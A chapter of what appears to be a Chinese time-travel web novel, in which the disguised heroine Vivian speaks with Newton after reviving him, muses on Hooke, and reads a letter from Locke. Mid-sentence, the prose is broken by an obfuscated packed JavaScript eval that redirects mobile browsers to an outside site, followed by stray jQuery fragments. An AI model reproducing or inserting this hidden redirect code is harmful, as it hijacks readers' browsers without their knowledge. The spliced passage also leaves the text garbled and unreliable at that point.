“牛顿先生！”


    薇薇安看着门口的人影，“您不该出来的，外面很冷。您现在应该在休息。”


    每说一句话，她唇边都腾起一小团白雾。


    牛顿的脸上闪过一丝不自然的神情。他避开她的目光，望向院子远处的阴影。


    “我……已经查证了……你那种……方法。”他说得很慢，像是连说这句话本身都令他难以启齿。


    “怎么查证的？”薇薇安并未在意他的别扭，而是更好奇，在她的认知里，这个时代根本没有成体系的人工呼吸理论。


    “去年，胡克先生做过实验。”牛顿声音依旧有些僵硬，“他证明，可以通过机械方式向肺部送气，从而维持生命。”


    薇薇安一愣，“是吗？他是怎么验证的？”


    牛顿看向别处，像是被她好奇的目光逼得有些不适。


    “他……切开了一只狗的肺部，用风箱将空气压入它的肺中，绕过它自身的呼吸机制，狗依然活着。”


    他语气微妙地顿了一下。


    “你刚才所用的方法……本质上，是同样的原理。”


    他没有再提“呼吸”这个词。


    “狗？是的，是类似……不过我并不是把你比成——”


    薇薇安话还没说完，就憋不住笑了出来。


    牛顿的表情瞬间绷紧，依然别扭地说，“既然胡克先生的实验成功，你的行为……也就……没有那么不可原谅了。”


    薇薇安止住笑，心思转到了另一个名字上。


    罗伯特·胡克。


    她曾在洛克的书房里见过一本《显微图谱》，书页上满是作者自己绘制的图像。即便以她的现代眼光来看，那些图依然精致得不可思议。


    而作者——正是胡克。


    洛克和胡克同在牛津求学，胡克曾是波义耳的助手。也是他，把气压计和记录天气的方法介绍给了洛克。


    洛克提起这个比自己小三岁的学弟时，总是带着一种奇妙的语气——既带着笑意，却也带着一点说不清的谨慎，似乎胡克本身就带着刺。


    胡克用自己发明的显微镜观察软木塞，看到一格一格排列的空隙，像蜂巢，他想到修道院里的那些简陋狭小的单人房间，于是借用了拉丁文，将这些微小结构命名为细胞（cell）。


    以薇薇安的了解，胡克看到的只是细胞的“遗骸”，而真正的细胞，还要随着显微镜技术的进步，再过一百多年才会被完整观察到。


    但这不并妨碍胡克如今是学界的明星，而此时的牛顿，还只是个不愿发表成果的无名天才。


    薇薇安隐约知道，这两个人后来成为宿敌。也许，二人的交集，在各自发明显微镜和望远镜的时候就注定了。


    不过至少现在，牛顿提到胡克时，没有敌意，他更在意的，是薇薇安刚才行为的“道德问题”。


    看着他别扭地试图用胡克的理论，来为她的“越界”寻找解释，薇薇安忽然涌上了一种奇怪的情绪，几乎带着一点……同情。


    这个时代最敏锐的大脑，刚从危险中醒来，担心的却不是死亡，也不是身体，而是——失礼。


    这一刻，他不再是历史里的名字，只是一个男人，一个在17世纪的语境里在乎礼教与界限的男人。


    “牛顿先生……”她语气慢慢柔下来，“我理解您的顾虑。但我以上帝的名义发誓，我的行为完全出于医学目的。”


    她看着他，“或者，您可以理解成为，我只是暂时替代了您停止工作的呼吸器官……像一个……‘生物风箱’……”


    牛顿的神情又开始变得不对，薇薇安立刻改口，“我更愿意相信，上帝不想失去您，所以让我刚好在这里，是那只‘看不见的手’，安排我救了您。”


    这句话说完，牛顿的神情终于缓和了一些，像是找到了一个可以接受的解释。


    “至于我——”


    薇薇安语气真诚，“不管您怎么看我，我很高兴您还活着。”


    牛顿微微一颤，抱了抱肩膀。她不知道是因为她的话，还是因为寒风。她取下肩上的毯子，轻轻披在他身上，动作温和而克制——这种医生式的关心也是她从洛克那里学来的。


    这一次，牛顿没有躲开，任由那层暖意落下，只是淡淡地说，“设备我会重新修复，之后，会邀请你来测试。”


    薇薇安摇头，“我们先别想这些，好吗？您现在感觉怎么样？头还痛吗？”


    没有回答。


    “这两天尽量不要思考。”她语气放轻，“我知道您做不到……但为了您的身体，至少试一试。”


    牛顿依旧没有回答，转身走进卧室。


    薇薇安望着他的背影出神，很快，他又出来了，肩上的毯子换成了他自己的外套，手里拿着她的衣服。


    “天黑了。”他的声音恢复了疏离，“先生，你该离开了。”他把外套递给她。


    两个小时前，他还是她的病人。而现在——那个“牛顿”，已经回来了。


    薇薇安接过外套，“如您所愿，牛顿先生。”


    他只是极轻地颔首，没有再多说一句。


    薇薇安想起，她今天没有骑马来，威金斯已经睡了，而她又不会赶马车。


    “我可以让威金斯送你。”


    “不必，还是让他休息吧。”


    薇薇安转身走向门口。


    戴上手套，


    整理帽檐。


    拿起手杖。


    “砰、砰。”


    突如其来的敲门声，在夜色里格外清晰。


    她微微一怔，拉开门。


    门外，站着伊丽莎白。


    “伊丽莎白？你父亲又发作了？”


    “没有，布雷特先生。他已经好多了，现在正在马车里等我们。”


    “他怎么能赶车？”薇薇安皱眉，“他应该休息！”


    伊丽莎白笑道，“经过您的治疗，他中午就已经完全恢复了。他想当面感谢您，看您这么晚还没回去，就执意来接，我拦不住。”


    昏黄的烛光下，女孩鼻尖细细的汗珠微微发亮。


    薇薇安心里升起感动，伸手替她轻轻拭去汗珠。


    “谢谢你，你来得正好。”


    她回头看了一眼。


    门口的阴影里，牛顿仍站在那里，几乎与黑暗融为一体，只露出一线轮廓。


    她行了一礼。牛顿没有回礼。


    薇薇安转过身，身后，牛顿的声音传来。


    “晚安，布雷特先生。”


    薇薇安停住脚步，这是他第一次，用“先生”称呼她。


    她笑了一下，没有回头，径直上了马车。


    塔弗纳先生亲自表达了感谢。


    回到房间门口，伊丽莎白忽然叫住她。“布雷特先生？”


    “嗯？”薇薇安抬手掩住一个哈欠。


    伊丽莎白张了张嘴，像是要说什么，却又摇了摇头。


    “没什么……您一定累了。晚安，布雷特先生。”


    她说完，几乎是小跑着离开了。


    薇薇安看着她的背影，却没有追问。


    她实在太累了。


    进门，脱下外套，几乎是倒头便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395510|199358||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睡。


    日上三竿。


    薇薇安被阳光晒醒。


    冬日里难得的晴天。


    昨夜没来得及察觉的疲惫，此刻全都找上来，手臂酸得发紧，肩背隐隐作痛。


    薇薇安坐起身，解开束胸，还没来得及松一口气。


    “咚咚。”


    轻轻的敲门声响起。


    “您的早餐，布雷特先生。”伊丽莎白的声音。


    门随即被推开。


    薇薇安裹在被子里，没有动。


    按理说，侍者不该未经允许进入客人房间。但伊丽莎白是个例外。薇薇安几乎把这个女孩当作妹妹——像艾米丽那样。


    去年陪她去集市，再加上昨天的事，这个十五岁的少女，明显对她亲近了许多，甚至带着一点小心翼翼的依赖。


    伊丽莎白把托盘放在床边的小桌上，上面有茶杯，一点面包，一枚煎蛋。


    “我给您准备了‘草’，布雷特先生。”


    薇薇安忍不住笑了。


    在这个时代，早餐配酒才是常态。茶，是昂贵而稀奇的饮品。阿什利勋爵手术之后，她和洛克才开始接触这种比白银还贵重的饮料。


    临行之前，洛克给了薇薇安一小包茶叶，价值几乎抵得上普通人一年的收入。


    薇薇安悄悄教会了伊丽莎白泡茶，也嘱咐她不要声张。少女虽然好奇，却从不多问，只是安静地照做。


    伊丽莎白走到壁炉边，熟练地点起火。


    房间慢慢暖起来。


    她又从围裙口袋里拿出一封折好的信，轻轻放在桌上。


    “谢谢你，伊丽莎白。”


    “莉斯。”


    她忽然纠正她，“叫我莉斯。”声音很轻，却带着一点坚持。


    薇薇安微微一怔，这种亲昵，让她有些意外。


    少女自己也有些不好意思，低头笑了笑，退了出去。


    门轻轻合上。


    房间重新安静下来。


    薇薇安掀开被子，下床漱口，然后走到桌边，拿起那封信。


    寄信人不是艾米丽，而是洛克。


    这一次，他没有作为艾米丽和她通信的中介，而是直接谈及最近的事情，关于阿什利儿子的婚礼，艾米丽，还有杰里米——那孩子在学校，却问过好几次她什么时候回去。


    整封信语气克制，条理清晰，像是在陈述事实。直到最后，他才轻描淡写地问了一句她的归期。


    薇薇安这才恍然意识到，她已经离开伦敦整整一个月了。


    她放下信，心里升出一种很轻的暖意。


    被人记挂着，总是好的。


    她端起茶杯，热气缓缓升起，那张苍白而冷静的脸，也随之浮现在脑海中……


    窗外鸟鸣清脆，楼下隐约传来伊丽莎白和父亲的对话，更远处，是断断续续的马蹄声……


    这个世界，已经恢复了它的节奏。


    伦敦依旧繁忙，而这里——剑桥，那位天才还活着，或许已经恢复如常，又或许，无视她的警告，再一次把自己投入实验之中。


    她吃过早饭会去看看他，至少，不能让她的实验反过来伤到他。


    而莉斯和父亲，也因为她，回到了原本的生活。


    伦敦那边，洛克、彼得，还有两个孩子，都在各自的生活里想着她……


    这个世界忽然变得不那么陌生了，开始有了她留下的痕迹，也有了记挂她，和她记挂的人。


    一种新的感觉，在她心底慢慢生长，挥之不去。


    ——如果，在这个世界多停留一段时间呢？